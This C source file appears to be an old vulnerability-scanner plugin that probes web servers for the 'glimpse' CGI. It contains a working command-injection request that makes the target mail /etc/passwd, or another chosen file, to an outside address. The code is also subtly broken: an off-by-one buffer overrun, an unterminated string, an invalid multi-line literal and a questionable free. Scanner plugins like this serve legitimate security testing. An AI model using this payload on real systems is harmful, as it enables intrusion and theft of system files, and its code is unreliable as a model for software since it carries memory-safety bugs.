/*
 * 
 * glimpse
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
      
#define NAME "glimpse"
#define DESC "This plugin determines whether the 'glimpse' cgi is installed\n\
This cgi allows a remote user execute any commands on the server\n\n\
Risk factor : high"
#define COPYRIGHT "no copyright"
#define SUMM "determines the presence of the 'glimpse' cgi"



PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "CGI abuses");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	
	int i=0,j=0;
	
	if(host_get_port_state(args, 80)<=0)return(0);
	
	
	if((i=is_cgi_installed(args, "glimpse"))||(j=is_cgi_installed(args, "aglimpse")))
	{
	char * test_file = get_preference(args, "test_file");
	char * buffer = emalloc(1024);
	char * result;
	char * email = get_preference(args, "email");
	int soc = open_sock_tcp(args, 80);

	if((soc<=0) || (email == NULL))
	 {
	 post_hole(args, 80, "The 'glimpse' cgi is present\nRemote commands may be\
 executed");
	 socket_close(soc);
	 }
	else {
		char * emaill;
		int i=0;
		
		emaill  = emalloc(strlen(email) + 1);
		while(email[i]!='@' && email[i])
		{
		 emaill[i] = email[i];
		 i++;
		}
		emaill[i]='\\';
		while(email[i])
		{
		emaill[i+1] = email[i];
		i++;
		}
	  	sprintf(buffer, 
"GET /cgi-bin/%s?|IFS=5;CMD=5mail5%s\\<%s;eval$CMD;echo\n", j?"aglimpse":"glimpse", emaill,
	test_file? test_file:"/etc/passwd");
		
		send(soc, buffer, strlen(buffer), 0);
		result = emalloc(strlen(buffer) + 100);
		sprintf(result, "The 'glimpse' cgi is present\
%s sent to %s
Solution : delete this cgi or upgrade it to a patched version", 
		test_file?test_file:"/etc/passwd", email);
		efree(&buffer);
		efree(&email);
		post_hole(args, 80, result);
		efree(&result);
		socket_close(soc);
		}
	}
	return(0);
}

